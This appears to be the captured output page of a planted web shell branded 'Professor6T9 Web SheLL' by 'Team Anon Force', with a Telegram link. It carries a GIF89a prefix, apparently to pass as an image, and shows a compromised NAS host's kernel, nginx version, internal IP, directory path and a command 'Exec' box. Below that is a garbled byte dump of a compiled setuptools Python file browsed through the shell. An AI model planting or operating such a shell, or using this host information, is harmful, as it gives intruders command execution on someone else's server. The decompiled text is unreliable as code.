GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux SamCT211 4.4.302+ #86009 SMP Wed Nov 26 18:19:20 CST 2025 x86_64
nginx/1.23.1
192.168.4.211
/
volume1
/
@appstore
/
Contacts
/
radicale
/
site-packages
/
setuptools
/
__pycache__
[ HOME ]
Exec
Submit
File Name : _entry_points.cpython-38.pyc
U �}�h � @ s� d dl Z d dlZd dlZddlmZ ddlmZ ddlmZ ddl m Z ddlmZ ddl mZ d d � Zdd� Zd d� Ze jd�dd�Ze jdd� �Ze�e�dd� �Ze�ed�dd� � ee jd�dd��Zdd� ZdS )� N� )�OptionError)�yield_lines)� pass_none)�metadata)� ensure_unique)�consumec C sL z | j W n< ttfk rF } zd| � d�}t|�|�W 5 d}~X Y nX dS )zR Exercise one of the dynamic properties to trigger the pattern match. zProblems to parse zq. Please ensure entry-point follows the spec: https://packaging.python.org/en/latest/specifications/entry-points/N)�extras�AttributeError�AssertionErrorr )�ep�ex�msg� r �?/tmp/pip-target-k_nuic9h/lib/python/setuptools/_entry_points.py�ensure_valid s �r c C s* t | �}d|� d�d�|� }tj�|�S )zf Given a value of an entry point or series of entry points, return each as an EntryPoint. �[�] � )r �joinr �EntryPoints� _from_text)�value�group�lines�textr r r � load_group s r c C s | j | jfS �N)r �name)r r r r �by_group_and_name( s r ��epsc C s t ttt| td��� | S )zM Ensure entry points are unique by group and name and validate each. ��key)r �mapr r r r r r r �validate, s r% c C s( t j�dd� | �� D ��}tt�|��S )zA Given a Distribution.entry_points, produce EntryPoints. c s s | ]\}}t ||�V qd S r )r )�.0r r r r r � <genexpr>9 s zload.<locals>.<genexpr>)� itertools�chain� from_iterable�itemsr% r r )r! �groupsr r r �load4 s �r- c C s t t�tj�| ���S )z� >>> ep, = load('[console_scripts]\nfoo=bar') >>> ep.group 'console_scripts' >>> ep.name 'foo' >>> ep.value 'bar' )r% r r r r r r r �_? s r. c C s | S r r )�xr r r �<lambda>M � r0 c C s2 t �d�}t�t| |d�|�}d�dd� |D ��S )Nr r"